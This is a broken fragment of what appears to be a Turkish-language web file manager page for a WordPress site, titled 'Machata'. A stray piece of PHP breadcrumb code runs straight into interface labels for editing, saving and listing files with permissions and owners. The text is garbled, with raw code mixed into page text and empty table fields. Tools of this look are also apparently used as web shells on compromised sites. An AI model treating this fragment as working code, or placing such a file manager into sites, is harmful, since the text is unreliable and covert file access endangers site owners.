$part) { if ($part) { $current_breadcrumb .= '/' . $part; $breadcrumbs[] = ['name' => $part, 'path' => $current_breadcrumb]; } } } ?> Machata

düzenleniyor

Geri Dön
İptal
Dosya başarıyla kaydedildi!
WP ARAÇLARI
Ana Dizin
Dosya/Klasör Boyut İzinler Tarih Sahip İşlemler
- -
bytes
Bu dizin boş